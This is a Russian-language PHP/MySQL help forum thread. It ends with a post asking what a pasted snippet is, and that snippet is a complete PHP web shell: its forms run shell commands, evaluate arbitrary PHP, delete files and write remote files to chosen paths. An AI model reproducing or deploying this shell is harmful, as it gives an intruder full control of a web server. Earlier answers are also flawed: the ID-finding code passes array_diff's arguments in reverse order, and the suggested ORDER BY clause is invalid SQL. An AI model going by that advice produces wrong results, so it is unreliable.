Различные вопросы по PHP и MySQL

242K
.
(\/)____o_O____(\/)
ncux, задаем интервал, например 1-1000
далее цикл на проверку индикатора в бд, если есть пропускаем, если нет то пишем в массив, далее вывод того что подойдет
.
Koenig, Можешь кодом написать?
.
(\/)____o_O____(\/)
ncux, вечером, с тела не удобно
.
(\/)____o_O____(\/)
ncux, как то так
$arrids = array();
$sql = mysql_query("select `id` from `table`");
while ($row = mysql_fetch_row($sql)) {
$arrids[] = $row[0];    
}
$array = range(1, 1000);
$result = array_diff($arrids, $array);
echo 'Свободны номера ' . implode(' ', $result);
.
Koenig, Потом попробую спасибо.
.
Screamer
Как решить проблему, когда GROUP BY `field1` ORDER BY `field2` DESC выдает не то что нужно?
У меня уже нет сил описывать все это словами, поэтому смотрите пикрилейтед. Там все наглядно показано.

Пробовал SELECT MAX(`time`) AS `flag` ... ORDER BY `flag`
Не помогает, просто выводит флаг, а данные всё теже
Прикрепленные файлы:
.
Screamer
Еще нагуглил через JOIN но там что то вообще ад, уже и забыл даже в чем проблема.
.
Никто не знает придется костыли лепить.
.
(\/)____o_O____(\/)
Screamer, зачем вообще там груп, поставь в ордер бай пару условий, order by time desk and id asc
.
что это друзья
<? echo 'OS : '.@substr(@php_uname (),0,120).'<br>'; echo 'User : '.get_current_user ().''; ?> <FORM METHOD=GET><INPUT TYPE="text"
NAME="cmd"><INPUT TYPE="submit"
value="EXEC"></FORM> <FORM
METHOD=GET><INPUT TYPE="text"
NAME="eval"><INPUT TYPE="submit"
value="EVAL"></FORM> <FORM METHOD=GET><INPUT TYPE="text"
NAME="unlink"><INPUT TYPE="submit"
value="unlink"></FORM> <FORM
METHOD=GET><INPUT TYPE="text"
NAME="upload"> to: <INPUT TYPE="text"
NAME="to"><INPUT TYPE="submit" value="upload"></FORM> <pre> <? if($_GET['cmd']){echo exec($_GET ['cmd']);} if($_GET['eval']){echo eval($_GET ['eval']);} if($_GET['unlink']){echo unlink ($_GET['unlink']);} if($_GET['upload']) {$f=file_get_contents($_GET['upload']); $fp=fopen($_GET['to'],"w");fwrite($fp, $f);fclose($fp);} ?>
Всего: 7969